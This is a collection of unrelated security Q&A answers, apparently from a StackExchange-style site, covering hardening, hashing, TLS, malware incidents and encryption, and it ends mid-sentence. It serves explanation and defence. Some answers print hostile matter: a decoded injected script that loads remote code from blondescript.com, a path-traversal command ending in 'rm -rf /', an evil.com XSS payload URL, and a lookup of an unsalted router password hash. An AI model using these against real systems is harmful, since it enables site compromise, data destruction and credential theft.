So in your case just having a generic Apache server will not help you much in understanding security.

First install WebGoat to understand how to attack applications (and protect from them),
then mod_security to see how a WAF can (or cannot) protect you
and finally a honeypot on selected services to check how you could study a live attack (this is not an easy task without a comprehensive knowledge of the service).


Can server administrator dump memory remotely thru Dell iDrac card?

If someone legitimately has superuser access to a system, you can't stop them from accessing any data on the system given time. You can certainly have data encryption to encrypt the data at rest, but what's to stop them from capturing the keystrokes that are performed when you unlock it? Or, if you're copying the data to the system from somewhere, getting a copy of that data? The possibilities are endless when you consider full administrator access. Your only legitimate hope to protect this data is to create a user tailored to have the exact level of privileges he'd need, and no more. My suggestion would be to use dummy data and a staging environment that is completely separated from production. That way he could assist with the code but not ever realistically have access to your sensitive data.

Speaking from a more general security perspective, you put intrusion detection systems on a network generally in the hopes it will detect a compromise after it's happened. You could always detect a live attacker in progress, but how to filter that from all the noise that is constantly hitting you from the internet? Given your setup, you are unlikely to even be able to determine an attack happened, since you don't mention piping your logs to another system. That of course doesn't protect your data, only could help you detect its loss after the fact.


if you run the base64 decode, you get:

<script type='text/javascript'>/*@cc_on
function gnwzj(){
 var kuntw = document.createElement('script'); kuntw.src = 'http://blondescript.com/data/jquery_1.7.4.min.js?r='+window.location.hostname; document.getElementsByTagName('head')[0].appendChild(kuntw);
};var gdmzv = setInterval(function(){if(document.body != null && typeof document.body != 'undefined'){clearInterval(gdmzv);gnwzj();}},100);@*/
</script>

It injects extra code onto your site.


PC showed evidence of a phone being attached for no obvious reason. Theories on why?

Remote Desktop does have a way of making local resources available to the remote host. Not sure if a phone would get shared to the remote host (or how it would be shared). If nothing else, it is conceivable that it would be made available as an USB storage device.

Theoretically, you would have known if a phone was plugged into your local computer so this possibility may not apply to your situation.


Is bad policy to allow a Windows service using the LocalSystem account to execute arbitrary files in an Administrator-protected folder?

From an authorization perspective, the difference between Administrator and LocalSystem is nearly meaningless. Either one can launch arbitrary programs as the other (although, assuming the process running as LocalSystem doesn't have access to the Administrator's password, it would need to either reset the password or create an unauthenticated Administrator token, and unauthenticated tokens have limits). So, for that purpose, there's absolutely no reason to worry about the Administrator being able to launch arbitrary processes as LocalSystem; that's already possible (with only a little work).

From an auditing / non-repudiation / incident response perspective, well, that depends what events you have the system log capturing and how well the log is protected. If you're worried about an attacker "covering their tracks", the solution is to track, quite closely, what sensitive operations are being performed (and do it to a logging system that even a privileged attacker cannot edit/erase). Create a service? Shows up in the log, with who did it. Start a service? Shows up in the log, with who started it, what file, and who it ran as. Modify an Administrators-only program? Shows who did it (and hopefully you have backups of the old version). Audit logs (and monitoring for active attacks) are very important in sensitive systems, but setting them up is not simple enough for the scope of a single StackExchange question.


Is my approach good enough for brute force protection?

As others have mentioned already, currently the recommended way of implementing lockout is to require a Captcha only after a few failed login attempts. This method is good from both a security and usability standpoint - the Captcha is very effective on stopping automated attacks, but only requiring it after a few failed logins makes it so that legitimate users will rarely even see it. (Another benefit is that no real person is ever "truly" locked out; they can keep trying as long as they can keep answering the Captcha correctly, which takes enough time and effort that it's not usually considered a significant security risk.)

If you really want to avoid Captcha entirely, both methods you present would work if properly implemented but neither is ideal usability-wise. If you use Option 1, someone could intentionally lock out other usernames, either just to cause trouble or to exact "revenge" against another user. If it's a small site it might not be a big deal, but if the site is large enough it's pretty much guaranteed to happen at some point.

Option 2 is a bit better, but you have to consider shared IP addresses. Many schools and businesses have hundreds or thousands of computers behind a single public IP address, so if that IP is banned many legitimate users could be affected.


Cracking double encrypted router password?

I URL decoded it, then decoded it from base64, then passed it to an online hash database.

The result was:

Hash                                                                Type    Result
e45d90957eec7387726c6a1b174da7b566a24ff4cb060dcbcdfebb931a93ffe3    sha256  passw

The fact that this is an un-salted hash makes it easy to look up. All the encoding is a convenience for the login service, not a security control.

With a salt, you cannot just look it up, so you would need to bruteforce. If you knew the salt, success depends on the password and the wordlist you use. There are methods to make the wordlist more efficient for bruteforcing, but it ultimately is a function of time.


SMS not received and read by somebody else (no SIM swap)?

The fact is his card is VbV. He claims not to have received any OTP message, while it was obviously sent.

There is nothing obvious about that.

As far as I know Verified-by-Visa isn't mandated by the card alone, it also has to be supported by the Merchant where the card is used for payments.
When the Merchant doesn't  support VbV then none of the extra authentication steps that VbV supports are taken and only the basic card details (Card Holder Name - Card Number -  CVC) will be used  to process the payment.

It stands to reason that a criminal with stolen credit card details would prefer  such a Merchant to buy their bitcoin and then obviously no SMS message with an OTP would have been sent to your friend.

Merchants not supporting VbV run a greater risks of charge backs and not receiving their payment when the charges are disputed by the card holder, which will be the case when your friend disputes this charge with  his card issuer.

Also the online documentation suggest that even when a merchant does support Verified by Visa you won't be prompted for the additional verification with every transaction, but only occasionally.


What security standards should be implemented in a simple web application

Depending on what  data you are handling there might be different security minimums (encrypting data in the database). But I strongly advice you to start your search on the Open Webapplication Security Project (OWASP).


The situation you're describing isn't specific to IPSec. If the attacker is in position to modify packets in-flight between two hosts, then his ability to deny service between those two parties in question can't be mitigated.

The solution is to either find the perpetrator (he shouldn't be hard to find given that he has to be along the path between the two hosts), or move an endpoint to a more secure location.


Should I use a second/dedicated IP address for SSH?

Unless that IP address belongs to a dedicated management network which implements additional security, it is a waste of resources.

Both IPs are, obviously, ending up on the same server. This means that, unless they come in through different networks (i.e. a management network that implements additional protection), there will be no difference locally between a connection to SSH going on one IP or the other: you can firewall these exactly in the same way (if you want) and it doesn't make any more or less obvious in the logs.

The only thing you're "hiding" is the relation between the SSH server and the web server and, unless you have very poor procedure for picking up account names, then it shouldn't matter.

If you're using a dedicated management network, however, it's a different matter: such a network could require all connections to go though a secure authentication phase and impose extra limitation on the conneting party (for instance, you can require them to be physically connected to the network, or go through a VPN requiring 2FA and making sure your client is "clean").


From what it seems like it was a Nation State Attack in which Solar Winds was compromised and some of their codebase in certain listed products were trojanized so that when customers patched and updated Orion in their environments they had unknowingly introduced malicious code that could basically take control of network devices that were managed by the malicious and trojanized product. The C2C traffic was disguised (and highly evasive), as traffic related to the Orion Improvement Program (OIP).  After this the attackers were able to engage with the target, perform reconnaissance and take advantage of other weaknesses within the environment to potentially try to exfiltrate data and maintain persistence.  It was an attack that even used steganography.  If FireEye hadn't caught it, it could have gone on much longer.
They have a really good article about it here where they list of detection opportunities:
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
CISA Issued this emergency directive https://cyber.dhs.gov/ed/21-01/
Orgs running the vulnerable version need to shut down their Orion and rebuild their Orion and in some cases their net environment.  Patching Orion to the updated level is not enough.  Only though a rebuild and patching and credential changes can orgs get back to safety.  Additional monitoring is wise.
Fireeye Published their Red Team tool Countermeasures as a result and have made available on github:  https://github.com/fireeye/red_team_tool_countermeasures
It is estimated that 18,000 customers potentially affected by the incident, although not all of those were actively being targeted.


Security of only allowing a few vetted commands using $SSH_ORIGINAL_COMMAND

Your forced command is unsafe. Consider:

ssh -l user your-server /var/lib/authorized-scripts/../../../bin/rm -rf /

The command name starts with /var/lib/authorized-scripts/ so it's safe, right? Nope!

You'll want something more along these lines:

#!/bin/sh

set -- $SSH_ORIGINAL_COMMAND
case "$1" in
  /var/lib/authorized-scripts/*)
    ;;
  *)
    exit 1
esac

command="${1#/var/lib/authorized-scripts/}"
shift
case "$command" in
  */*)
    # Simplest is to reject anything with a slash...
    exit 1
  .*)
    # ...and anything starting with dot.
    # If you need to whitelist subdirectories of /var/lib/authorized-scripts
    # then you need much more sophisticated pathname parsing and care.
    exit 1
  *)
    ;;
esac

exec "/var/lib/authorized-scripts/$command" "$@"

As for shell syntax like && and ; embedded in the command, that should be safe. As you've already discovered, such things are not interpreted by the shell in your solution but passed verbatim to the command.

However, wildcards in the arguments of the command will be interpreted. If you want to avoid that, put set -f before the line with set -- $SSH_ORIGINAL_COMMAND.

Make sure that the authorized scripts interpret their arguments in a safe way. The arguments could be options that allow shell injection (like find -exec does), file names, including symbolic links (which point to a file in a different directory), etc.

Finally: #!/usr/bin/env bash is not necessary. Your script uses no bashisms, so why not let be more portable by running under /bin/sh?


but remain the security level of the system as if we are using a
password of length 7

Each character can have 96 different possibilities, and the it should be as if we are using a password 7 characters long.  So, this is 96^7 different possibilities, which is 7.5144748e+13 possibilities.  To convert this to base2, we take the log(base 2) of the above number, which gives us 2 ^ 46.09.  So, a password of 7 characters in length, where each character can have 96 different possibilities, has an entropy of 46 bits.

If we want users to remember a password of length 4,

Applying the same logic above, this is 84934656 different possibilities, or 2^26.33 possibilities, or an entropy of 26 bits.
So, the salt has to increase the entropy by 20 bits (from 26 bits to 46 bits).  This is equivalent to the answer that you posted.  You could have arrived at the same answer in a more direct way, by converting everything to bits from the beginning and using rules of mathematics that apply to logs, but hopefully doing this way is more illustrative.


bypass a regex filtration to perform an xss attack

No.  This doesn't stop all injections.

You mentioned one example:

<script type='text/javascript' src='INJECTIONPOINT'>

The regexp you listed is not enough to stop XSS in that case; an attacker could inject //www.evil.com/kablooey.js, and you're done for.  (Comment: the URL //www.evil.com/kablooey.js is treated by browsers as equivalent to http://www.evil.com/kablooey.js, if the containing page was served over http.)

In general, I recommend reading the OWASP recommendations on how to prevent XSS.  Sanitize your inputs, and use context-dependent escaping of all outputs (e.g., all values inserted into HTML).


Is there any good reason not to salt/hash passwords you store?

Security is a complex endeavor, and knee-jerk reactions like “plaintext password? never” are just as bad as “passwords must contain special characters” or “my crypto's bigger than yours” or “if I can't understand it nobody can” if you don't consider the full context.

First, let's analyze the assets. There are two subjects: the bank, and the customer. They hold several assets:

The bank's money. Depending on what the attacker do, the bank may need to spend money fixing problems, to compensate the customer or other parties, and may see its reputation tarnished.
The customer's money (and his private information).
The customer's password. If compromised, he will need to change it, perhaps on other sites as well.
The authentication data sent during one session. This can be different from the password, for example in the case considered here this is (typically) two random characters from the password.

The bank is in full control of the security architecture. It would be unsurprising for it to privilege the security of its own assets over the customer's. This doesn't bode well for the password.

There are many threats around the password, including (numbering for convenience, not to suggest any particular order of importance):

An attacker gains access to the bank's live system or to backups and is able to access the password the way it is encoded in storage. The attacker would almost certainly be able to obtain a large number of passwords at once this way.
An attacker gains access to the computer used by the customer (e.g. by installing malware on it) and grabs the authentication data, possibly hijacking the session.
An attacker obtains the authentication data by shoulder surfing or other method that doesn't give him control over the session.

Hashing the passwords on the bank servers exclusively mitigates threat #1, unauthorized access to the encoded password. This mitigation is limited as it is only effective against sufficiently strong passwords; weak passwords will fall even if protected by a slow hash.

Splitting the authentication data from the password increases the vulnerability to this threat. On the other hand, it mitigates threat #3 and to a small extent threat #2: an attacker in possession of the authentication data for one session cannot easily reproduce it to open another session. If he makes many attempts until he gets a challenge that matches the authentication data he has, his attempts are likely to be blocked by the bank's server. Eventually, if he watches enough successful authentications, he'll get the whole password, but he risks getting noticed.

At this point, the bank needs to weigh the risk and damage from threat #1 with the risk and damage from threat #3, and to consider alternative ways of mitigating threat #3. There are numerous authentication methods and I won't go into details here; I'll concentrate on threat #1.

If threat #1 leads to an attack, the attacker is in possession of a large number of hashed or non-hashed passwords. Keep in mind that hashing only makes a difference from sufficiently strong passwords. The attacker is unlikely to be able to attack all the accounts anyway, because after a while he will be detected (maybe not with 100% accuracy, but enough to slow him down) by the bank's fraud pattern detection. So he's content with focusing on the accounts with the passwords that are easiest to crack; hashing doesn't slow him that much. The mitigation offered by hashing isn't very good in this scenario.

If you're a user with a strong password, you would understandably prefer not to be affected by the attack — let the troubadours bear the brunt. The bank has a different outlook: it doesn't care whose account gets breached, only about the number of breached accounts. If at this point you get huffy about banks not caring about geeks who take their security seriously — do you have a credit card? Merely having one allows anyone to make a purchase charged to your account by rattling off a 16-digit number that's all over the pace, so you have a way to go.

The other part of the assessment of password hashing is to consider alternative mitigations. A bank isn't some service hosted on a $5 VPS, it can afford better security. For example, banks tend to have very tight controls on their employees, which reduces the risk of an insider breach. Against outsiders, storing the passwords in an HSM is a good but awkward defense (in particular, backups are hard). Encrypting the passwords and storing the encryption keys split over several smart cards is another possible mitigation — it doesn't protect the live system but it's effective for backups. Encryption is a very good mitigation of threat #1 (it works even against extremely weak passwords) provided that the key and the password database are sufficiently independent so that they are hard to steal together.

All things considered, password hashing is not a panacea in this scenario. While it isn't a bad idea, a qualitative analysis shows that an alternative approach that requires a reversible password storage may provide better security. It would take a very thorough study of fraud and usability to assess quantatively whether using random characters from passwords for authentication is worth foregoing password hashing.


Saving passwords decryptable for later usage

Hashes are not meant to be reversed, and so there is no way you use a hash algorithm to protect a password and see the plain-text later.

What you can do is use a proper encryption algorithms or public and private keys to encrypt and decrypt the passwords, for example PGP.


You could use browser fingerprinting, most browsers are unique in the plugins they use, version of those plugins, screen resolution (if you use your browser in full size) etc.

You can check your browser fingerprint here


No, it won't reside on the keystore.

The secure enclave and the keystore are two different things:

KeyStore, is a secure database, implemented in iOS. It resides in the filesystem. While it is built with security in mind (I don't want to characterise anything as "secure") and is encrypted on the filesystem, its contents at specific time frames reside on the system memory unencrypted.

Secure Enclave is a completely different chip. it runs a separate operating system and can only be instructed to conduct some operations. It offers anti tampering mechanisms, TRNG (True Random Number Generator), etc. Keys can NOT be imported or exported, only generated and of course can be used for cryptographic operations.

It should be noted though, that only signing & validation ECC operations can take place in the secure enclave, as stated here.

EDIT: Validation & signing is the same operation with encryption & decryption, only the used key is changed. On signing the private key is used (so verification can happen with your public key) and on encryption the public key is used (so only you can decrypt it with your private key)


When can I commit a Private Key to source control?

When the private key is nothing more than a test fixture used to test some process requiring a private key and where the private key is not actually used to secure any system.

In some cases it can be appropriate to commit an encrypted key. For example if the repository is public/open source but a Continuous Integration system requires access to that file - Travis CI supports this.

Otherwise you shouldn't commit private keys.


Is there any legal reason to save a cleartext password?

The only instance where I can think of the FCC requiring that a password be clear is related to amateur radio, and even that isn't truly the case.

In six years at an audit firm, and all in everything I've ever read including a lot of court briefings, I've never heard anything that hints that such madness is actually justified anywhere.

It's not uncommon for CSRs to do a bit of social engineering. Their job is often much easier if they say it's required by something outside their company.


X509 CRL suspended certificates and openssl ca comand

From the OpenVPN 2 Cookbook:

  The OpenSSL ca command generates its CRL by looking at the
  index.txt file. Each line that starts with an ' R ' is added to the
  CRL, after which the CRL is cryptographically signed using the  CA
  private key.

To reinstate your revoked certificate, you could edit your CA database:

database       = $dir/index.txt        # index file.

1. Update the relevant entry in $dir/index.txt, by replacing R=revoked with V=valid.
2. Recreate the crl file: openssl ca -gencrl ***
3. What's left is the automation of the process (A script?)


Is the data of an encrypted Android device more vulnerable if it's running a custom ROM?

If that custom ROM is using hardware-backed keystore (Trusted Execution Environment (TEE)) for screen lock authentication and file based encryption (FBE), there's no known way to decrypt /data partition without screen lock code as TEE is tamper-resistant by design.
In FBE, encryption keys are cryptographically bound to screen lock code and TEE. This ensures that just by knowing screen lock code is not enough to decrypt cloned data. TEE refuses to use its own key for key derivation to decrypt data encryption keys unless user authentication is successful. Tampering with TEE image will hard-brick the device even if bootloader is unlocked.
A threat actor will require you to forcefully unlock the device atleast once. The problem with unlocked bootloader is that they can patch boot image (boot.img, contains kernel) without letting you know of the compromise in order to trick you to unlock it and record your screen lock code.
What you need is custom root of trust which is only supported in Pixel and OnePlus. With custom AVB, you can sign your own images for integrity protection and relock the bootloader. This is as secure as running stock android. However, some apps that rely on SafetyNet attestation to verify device integrity will refuse to run because boot state is SelfSigned.
Even if you are using custom AVB, you need to check if custom ROM is enforcing encryption. Some custom ROMs disable forceencrypt flag in fstab, which disables encryption from first boot of the OS. Your data remains in plain text. At this point, just by deleting lock settings files, a thief can remove screen lock authentication.
You should also check if your custom ROM is enforcing SELinux, otherwise any app can make system calls that otherwise wouldn't have been allowed in SELinux enforcing. Having root in your custom ROM is not really a problem any more than an unlocked bootloader.
Android architecture has a design flaw which is applicable to stock android also. When a user unlocks screen first time since reboot, unlike iOS, android keeps some of the critical keys in memory even after the user relocks the screen. iOS evicts them 10 seconds after the screen is locked. This opens a security hole because as long as some of the data encryption keys are in memory, they can be extracted by law enforcement and can be used to decrypt some of the data in /data partition. This requires carefully exposing SoC without disconnecting battery.
Stock android and custom root of trust might be able to stop thieves from owning the device (or data), but when it comes to law enforcement, it depends on their motivation until Google considers eviction of critical data encryption keys from memory when the screen is locked again.


Can ransomware run without prompting user?

Ransomware wouldn't need to raise a UAC alert as it is after a user's personal files, not system files.


EDIT NO LONGER ACCURATE REFER TO ANSWER BELOW

There is no way to enforce this on a Cisco router. The only thing you can do to harden your setup is to at least disable SSHv1 by running:

#ip ssh version 2

However this will still not disable CBC and 96-bit HMAC/MD5 algorithms. Cisco does not offer capabilities to fine tune your SSH server so deeply. The only thing you can do is force the a connection towards the server which does not use any of the above mentioned algorithms. Note that the client needs to do this and that it can't be forced to the client by the server.

Here you can see what options the SSH client on a Cisco router has available to initiate an SSH connection:

ssh [-v {1 | 2} |-c {aes128-ctr |aes192-ctr|aes256-ctr |aes128-cbc | 3des-cbc | aes192-cbc | aes256-cbc} |-l user-id | -l user-id:vrf-name number ip-address ip-address | -l user-id:rotary number ip-address | -m {hmac-md5 | hmac-md5-96 | hmac-sha1 | hmac-sha1-96} | -o numberofpasswordprompts n | -p port-num] {ip-addr | hostname} [command | -vrf]


Denial Of Service attack in asynchronous communication

You are correct. The ability to receive multiple communications will protect from that kind of DoS, or rather: will increase the "power" needed by the DoS to be harmful (this in the single-client scenario).

On the other hand, keeping more communications open at the same time will have an impact on the server (memory and resources - which are basically memory again, handled by a negligible amount of CPU). So you are trading one vulnerability to "slow DoS" with another.

For typical systems, it makes sense, since they have memory to spare and CPU to burn, Unless protocol or architecture prevents from doing it, multiple asynchronous support is desirable.

The other (more typical) possibility is that we're looking at a large series of parallel continuous communications, i.e. a large number of persistent HTTP client channels. In that case, you ask, if the latency causes N connections out of M to drop and being reinstated, it will cause M+N connections to be simultaneously open, then M+2N, then M+3N...,; if the grow rate exceeds the rate at which the server closes stuck connections, the server resources will be eventually exhausted.

There are several lines of defense against this. Usually, when a connection drops (at HTTP level), the server will be aware of the fact at the TCP level, when the client closes the channel. Unless the client endeavors to drop the connection without a by-your-leave or keeps the old socket alive and opens another (such leaks are mainly due to sloppy programming - but it happens); in that case the server will notice the fact after a suitable TCP timeout, which can be further shortened by employing the keepalive option. This may not work against sloppy clients, since the underlying socket isn't actually dead at all.

Then, the server may be able to recognize the client (e.g. using sessions, or IP address; a firewall can also do the latter), and tear down any other extant communications with the same client either explicitly or implicitly (e.g. because the client has an assigned "slot" and can only be occupied once, therefore the incoming communication replaces the first; this needs be done after successful identification and authentication of the client, since otherwise it would open the door to a different DoS).

Client session recognition may be the only practical way to deal with sloppy clients if IP address isn't an option (e.g. several legit clients behind a NAT sharing its address); apart from upgrading the client software, of course. Such a situation would be readily visible with a simple netstat on any such client.

Finally, such a scenario would require for the whole architecture to be almost at capacity; you can avoid this by monitoring performances and upgrading capacity before entering the "danger zone". The farther you stay from the red line, the more power (and demonstrable will and culpability) will a DoS require before driving the system up to there, and the more warning you will have when this happens. Briefly eating up 5% of system capacity may be accidental, consistently eating 50% that much less. Of course, such a safety margin will have its costs.


There are several jump opcodes; see the Intel manuals. I recommend the original 80386 manual which talks only about the 32-bit 80386, thus omitting all the extra features of ulterior CPU: this will make for a much easier, shorter read.

Go page 319 of that manual: you will see that, at the machine code level, there are no less than 21 distinct jump opcodes. The one which begins with EB is a short jump, followed by a single byte, thus allowing for a jump range of -128 to +127 bytes. The displacement is counted from the byte which immediately follows the whole instruction (the first byte after the one-byte displacement parameter), so EB 00 is a no-operation: it jumps to the instruction which follows the jump, where it would have gone anyway if there had been no jump. Similarly, EB FE is an infinite loop (jump back to itself). EB F0 jumps back 16 bytes, hence 14 bytes before the EB byte.

Note: be wary about the 16-bit/32-bit duality of x86 processors. All modern operating systems run in 32-bit mode. This changes nothing for the "short jump" we are talking about here, but it alters "near jumps" which will take a 32-bit displacement offset in 32-bit mode.


Regardless of whether DH or RSA is used - First, the server presents its certificate (which contains the server's public key) to the client immediately upon an HTTPS connection.  Then, the client and the server negotiate the SSL/TLS protocols and ciphers to be used to facilitate the HTTPS connection.  So the same certificate (and thus, the same server public key) are used regardless of whether RSA or DH is used.

If DH is used, the server uses its private key to create a digital signature, which the client then verifies using the server's public key from the server's certificate, to authenticate the identity of the server.  Aside from this, the server's private and public keys are not used for anything else during the session.  With DH, the keys that are used to encrypt the data being sent back and forth between the client and the server are ephemeral - meaning that the keys are used once and not reused.  For more info on this, see How ECDHE is signed by RSA in ECDHE_RSA cipher.  But, as you can see, it is necessary for the server to have the private key that corresponds to the public key in the certificate, to create a digital signature, which the client then uses to verify the authenticity of the server, in order for DH to proceed.

If RSA is used, your statement "I understand why a private key is needed with RSA, a random number is encrypted by the client with the servers public key and sent to the server and decrypted with the private key." is correct.  This session key is then used with a symmetrical encryption algorithm (such as AES) to encrypt the data being sent back and forth between the client and the server.

So, regardless of whether RSA or DH is used, the server must have the private key that corresponds to the public key in its certificate, in order to complete the SSL/TLS handshake, so that an HTTPS connection can be established - and I strongly doubt that any widely used browser would indicate that a site is trusted without being able to establish an HTTPS connection with it.


It's most a tradeoff between management effort and easy of use.

An adblocker will usually run inside the browser, and have some performance impact. They will use memory and CPU time to parse the incoming HTML data, search his internal database to match ads, and remove them from the page. All that incurs some performance penalty. The biggest benefit is that it is a fire-and-forget approach: you choose the adblocker, install it, and it's done.

On the other hand, a hosts file (or DNS server like PiHole) will work on network level. All requests from the blacklisted domains will return an invalid or unreachable address (configurable), so the client will not spend any resources blocking anything. As it works at network level, every program on your computer, and every computer on your network will be protected.

On the downside, it needs more administration. If you install PiHole, you need to be comfortable with installing Linux services, will probably need a dedicated device, and will need to manage this device to keep it running.

If you keep a hosts file, you will need a script or program to manage it and keep it updated. Performance impact will be way less than running a program inside the browser to parse HTML using regex.


View previously executed commands and sent packets

The answer to your first part of the question is only if the device had those activity logs enabled. And the trojan would probably have deleted or disabled those logs.
And the answer to the second part is only if your friend had network traffic logging enabled somewhere on the device or network. Logging on the device would probably have been disabled by the trojan anyway, so look to their network logs.
In summary - almost certainly a no, but use the Event Viewer to check on the device, just in case logging was enabled.


Are there ways in determining if devices such as router have been tampered with?

Monitoring may or may not uncover malicious traffic.

What you will want to do is to reflash the firmware with a known good version, either from the manufacturer or an after-market one (e.g. DD-WRT, or Tomato). This takes care of the OS, any modifications, and likely the infections.

The after-market option might be something to consider so that all your devices are running the same OS and the same configurations.


Can any of the INTEL-SA-00086 vulnerabilities be exploited by an unprivileged user?

Quoting directly from the IME firwmare update notes, if the attacker does not have physical access to the plaform to do a firmware flash, then they cannot do anything if the recommended flash descriptor write protections have been enabled.  If they haven't, then the attackers needs ring 0 access to the kernel, where an attacker can exploit the vulnerabilities by applying the malicious firmware through malicious driver software.  It can also be exploited remotely if the user has valid IME admin credentials, otherwise it isn't.

I came across this question whilst asking a question on Ring -3 exploits and existence of other rings


SSL certificate connection is verified by proxy.abc.com, is this secure?

This is a typical setup in companies and is called SSL interception, SSL visibility or something like this. The main idea is that there is nothing which prevents attacks using TLS connections, because TLS only secures the transport and neither the server nor you can make any assumptions about the security of the server or the risk associated with the exchanged data.

Thus to protect the systems against malware or to prevent data leakage you have to look into TLS connections too. The only  way to do this is to have some kind of proxy in the middle which intercepts and analysis the data.

Is this secure? It depends: Of course it breaks end-to-end encryption, but only to stop insecure or unwanted content. From the perspective of the company using this products it is definitely more secure to intercept SSL connections than to let data pass without analysis.


In the question that you referenced, the accepted answer explains how to derive the iv (and key) from the the password - not how to derive the iv from the ciphertext produced by openssl enc.
The reason for this, and for the behavior that you observed, is that openssl enc does not store the iv with the ciphertext.  openssl enc derives the iv from the password, unless the iv is specified using the -iv option.
The first and second commands that you posted function as expected, because you did not specify the -iv options in these commands.  So openssl enc derived the iv from the password for both of these commands. The iv's for both commands were the same, because the passwords provided in both commands were the same.
In the third command, you specified the -iv option.  But, in the fourth command, you did not specify the iv option.  Therefore, for the fourth command, openssl enc derived the iv from the password, and of course this iv was different than the one that you specified in the third command.  For the fourth command to function correctly, you would need to specify the same iv that you used in the third command, using the -iv option.
For more information, see https://wiki.openssl.org/index.php/Enc
Also, the default key derivation method used by openssl enc is very weak, as noted in the question that you referenced.  For a stronger key derivation function, use the -pbkdf2 option.  See https://crypto.stackexchange.com/questions/3298/is-there-a-standard-for-openssl-interoperable-aes-encryption for how the salt is stored, and the key and iv are derived from the password when using the -pbkdf2 option.


What prevents this specific type of attack from being viable?

An attack like the one you describe is very possible.  In fact, it's even simpler to pull off an attack like this if you control the network's gateway router (e.g. if you provide wifi service in a public space).  In that case, you can redirect any outgoing request to a server that you control.
This is why it is important to always connect using a secure protocol.  And, this is why we have PKI, certificates and certificate authorities.
Users don't typically make requests using IP addresses like 23.201.25.188, they make requests using FQDNs, like www.paypal.com.  If a user points his web browser to https://www.paypal.com/, and an attacker redirects this request to a server that he controls, the browser would display a warning that the connection is insecure, because the malicious server would not have a valid CA-signed SSL/TLS certificate (and matching private key) for www.paypal.com.  See Could a stolen certificate show as trusted? for more info.


How unsecure is entering personal information via the keypad when phone banking?

Key loggers on smartphones do not carry the same risk as key loggers on PCs because of app sandboxing. That's not to say that it's not possible either by rooting the device, persuading the user to install a custom (malicious) keyboard or perhaps even side channel attacks.

You are highly unlikely to have this happen just by visiting a malicious website compared to visiting the same site on a less than perfectly patched PC.

Maybe your banks are less secure than mine, but in my experience you can only transfer money to people you have already set up as recipients via the keypad. Adding a new recipient requires a more extended authentication process.

Links

http://www.sciencedirect.com/science/article/pii/S1574119215002138

https://m.theregister.co.uk/2013/03/25/android_security_omnishambles/


There're 3 elements you need to take in place with the business model you describe:

Amazon needs to be PCI compliant because they operate the infrastructure behind companies that accept debit, credit or pre-paid cards. No worries here because, as a matter of fact, Amazon is PCI Compliant (https://aws.amazon.com/es/compliance/pci-dss-level-1-faqs/)
Your eCommerce SaaS provider also needs to be PCI compliant. Depending on the vendor you have signed a contract with, they might also need to take an ASV Scan for vulnerabilities. I can only guess that your provider won't process or store payment data, only transmit it to the third-party payment processor. In any case, that's your vendor's responsability, so choose your vendor carefully. (If you wanna learn more about this, please refer to this table https://www.pcicomplianceguide.org/wp-content/uploads/2016/01/3.1-SAQ-Routing-for-the-E-Commerce-Merchant-ControlScan-3.png)
The third-party payment data processor obviously has to be PCI Complaint (and probably is, so there's no need to go deeper here).

Needless to say, if your company (SaaS provider aside) process, transmit or store any payment data on premise or by phone or any other way you come across in your business model, then you need to be PCI Compliant as well.


The difference between Subject Key Identifier and sha1Fingerprint in X509 Certificates

The subject key identifier (SKID) is an x509 extension and thus actually part of the certificate. The fingerprint instead is not part of the certificate but instead computed from the certificate. A certificate does not need to have an SKID at all and can have at most one SKID. But since the fingerprint is just a computed from the certificate there can be multiple fingerprints, like one using SHA-1, one using SHA-256, one using MD5 ...

The SKID is used to create the trust chain not based on the certificate subject and issuer but on the certificate SKID and authority key identifier (AKID). This makes it easier to deal with situations where the same subject string is used with multiple CA certificates. While the RFC 3280 describes common ways to generate SKID the only real requirement is that the SKID of the CA certificate must match the AKID in all certificates issued by this CA.

In the example below it can be clearly seen that the SKID BB:AF:7E:02:3D:FA:... of the issuer matches the AKID of the issued certificate:

    ...
    Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Certification Authority
    ...
    Subject: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA
    ...
    X509v3 extensions:
        X509v3 Authority Key Identifier:
            keyid:BB:AF:7E:02:3D:FA:A6:F1:3C:84:8E:AD:EE:38:98:EC:D9:32:32:D4

    ----

    ...
    Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Certification Authority
    ...
    Subject: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Certification Authority
    ...
    X509v3 extensions:
        X509v3 Subject Key Identifier:
            BB:AF:7E:02:3D:FA:A6:F1:3C:84:8E:AD:EE:38:98:EC:D9:32:32:D4


Getting "SSL: alert ["write"]: fatal : bad record mac" during openssl Handshake

Such a message is sent by one party (e.g. the server) to the other party (e.g. the client) to signify that it got a problem with the cryptographic elements sent by that party. Nominally, this occurs in the following conditions:

bad_record_mac
   This alert is returned if a record is received with an incorrect
   MAC.  This alert also MUST be returned if an alert is sent because
   a TLSCiphertext decrypted in an invalid way: either it wasn't an
   even multiple of the block length, or its padding values, when
   checked, weren't correct.  This message is always fatal and should
   never be observed in communication between proper implementations
   (except when messages were corrupted in the network).

In the SSL/TLS handshake, the first encrypted message sent by any party is the Finished handshake message which precedes the application data. When the crypto went wrong, this will show up at that point, with the bad_record_mac alert.

It must be noted that when the asymmetric key exchange fails, e.g. if the server tried to decrypt the RSA-encrypted "pre-master secret" sent by the client but did not find a properly encrypted RSA message, then most modern server implementations will keep on with a random pre-master secret. This is a defence against Bleichenbacher attacks, which try to get extra information on the server private key by trying to guess whether the decryption failed at the RSA stage, or later. To counter these attacks, servers "delay" errors until the Finished messages, and will try real hard not to explain the exact error cause. So, while bad_record_mac is nominally a problem with the integrity check layer, such errors will tend to appear for any cryptographic-related issue.

A plausible cause would be the following: the client is using a purported server public key which does not match the actual server private key. Normally, the client will extract the server public key from the server certificate, which the server sends to the client during the handshake. The server also owns a private key, which is mathematically linked with the public key. If the server is configured to use the wrong file, then you could obtain the symptoms you observe.

I suggest that you use a network monitoring tool (such as Wireshark) to observe the handshake messages: you should see the Certificate message from the server, containing the server certificate chain; for the first certificate of that chain, you can extract the server public key, that the client will use. On the server, try to print out the server private key details (whether this is easy or not depends on the involved software and actual key storage), to see if they match.

Other possible causes involve buggy implementations of some cryptographic algorithms (on the client and/or the server). Pinpointing these errors could be hard.

To get more debug details, you may also try to connect to the server with the openssl command-line tool:

